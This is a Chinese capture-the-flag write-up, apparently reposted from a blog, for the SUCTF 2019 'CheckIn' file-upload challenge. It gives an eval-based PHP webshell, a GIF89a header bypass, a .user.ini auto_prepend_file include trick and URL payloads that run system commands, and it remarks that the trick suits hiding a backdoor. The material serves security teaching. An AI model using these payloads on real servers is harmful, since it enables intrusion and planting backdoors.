[SUCTF 2019]CheckIn

 

解题过程:

打开后,是一个文件上传的界面,很明显这是关于文件上传漏洞方面的题目。

[SUCTF 2019]CheckIn

然后我们来试试相关的操作,看看能够得到哪些信息

1.上传一句话木马,1.php,

[SUCTF 2019]CheckIn

回显:

[SUCTF 2019]CheckIn

表示后缀名不能是php,可能是被过滤了

2.将1.php改为1.jpg,

回显:

[SUCTF 2019]CheckIn

表示题目把含有“<?”的文件过滤掉了

3.将一句话木马进行一些修改

<script language="php">eval($_GET['cmd']);</script>
 

然后再次上传1.php,

回显:
[SUCTF 2019]CheckIn

查了一些关于exif_imagetype的资料,如下:
 

exif_imagetype

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

exif_imagetype — 判断一个图像的类型

说明

exif_imagetype ( string $filename ) : int

exif_imagetype() 读取一个图像的第一个字节并检查其签名。

说明题目后端会截取上传的文件的头部一部分进行判断是否为图像文件

4.GIF89a图片头文件欺骗,

  1.   GIF89a?
  2.   <script language="php">eval($_GET['cmd']);</script>

 回显:

[SUCTF 2019]CheckIn

现在我们已将图片马上传上去了。

但是图片马上传上去只是进行了一半,因为时图片马,不是php脚本文件,所以无法被解析运行。所以就需要进行重头戏:文件包含漏洞

 

一些关于user.ini的知识

(摘了一部分,文章链接附在文章末尾)

那么什么是.user.ini?

这得从php.ini说起了。php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEMPHP_INI_PERDIRPHP_INI_ALLPHP_INI_USER。 在此可以查看:http://php.net/manual/zh/ini.list.php 这几种模式有什么区别?看看官方的解释:

[SUCTF 2019]CheckIn

其中就提到了,模式为PHP_INI_USER的配置项,可以在ini_set()函数中设置、注册表中设置,再就是.user.ini中设置。 这里就提到了.user.ini,那么这是个什么配置文件?那么官方文档在这里又解释了:

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

这里就很清楚了,.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置)

实际上,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。

而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

然后我们看到php.ini中的配置项,可惜我沮丧地发现,只要稍微敏感的配置项,都是PHP_INI_SYSTEM模式的(甚至是php.ini only的),包括disable_functionsextension_direnable_dl等。 不过,我们可以很容易地借助.user.ini文件来构造一个“后门”。

Php配置项中有两个比较有意思的项(下图第一、四个):

[SUCTF 2019]CheckIn

auto_append_file,指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:

auto_prepend_file=01.gif
 

01.gif是要包含的文件。

所以,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。

测试一下,我分别在IIS6.0+Fastcgi+PHP5.3和nginx+fpm+php5.3上测试。 目录下有.user.ini,和包含webshell的01.gif,和正常php文件echo.php:

[SUCTF 2019]CheckIn

[SUCTF 2019]CheckIn

那么,我们可以猥琐地想一下,在哪些情况下可以用到这个姿势? 比如,某网站限制不允许上传.php文件,你便可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。不过前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了。 再比如,你只是想隐藏个后门,这个方式是最方便的。


解题操作:

一:上传user.ini

  1.   GIF89a
  2.   auto_prepend_file=1.jpg

 前面要加上GIF89a,来绕过检测。

回显:

[SUCTF 2019]CheckIn

二:上传1.jpg

  1.   GIF89a?
  2.   <script language="php">eval($_GET['cmd']);</script>

回显:

 [SUCTF 2019]CheckIn

(注意index.php,用处很大)

三:菜刀连接(或蚁剑)

这里用的是菜刀

编辑

[SUCTF 2019]CheckIn

连接成功

[SUCTF 2019]CheckIn

到这里我其实已经认为得到flag了,但是此时不知道哪里出了问题,菜刀不能够访问其他文件,所以最后菜刀没有能够得到flag。(有懂的大佬请在评论区指正)

[SUCTF 2019]CheckIn

四:另一种解法

扫描目录:payload

http://fcefd10d-8efb-44ed-9002-5afff4675862.node3.buuoj.cn/uploads/852aff287f54bca0ed7757a702913e50/index.php?cmd=var_dump(scandir("/"))
 

回显

[SUCTF 2019]CheckIn

payload:

http://fcefd10d-8efb-44ed-9002-5afff4675862.node3.buuoj.cn/uploads/852aff287f54bca0ed7757a702913e50/index.php?cmd=system('cat /flag');
 

[SUCTF 2019]CheckIn

(注意时间:.user.ini文件过几分钟就会更新消失)

 

原文链接:https://blog.csdn.net/RABCDXB/article/details/113623796

 

上一篇:记忆化搜索


下一篇:信安第二版:第24章工控安全需求分析与安全保护工程学习笔记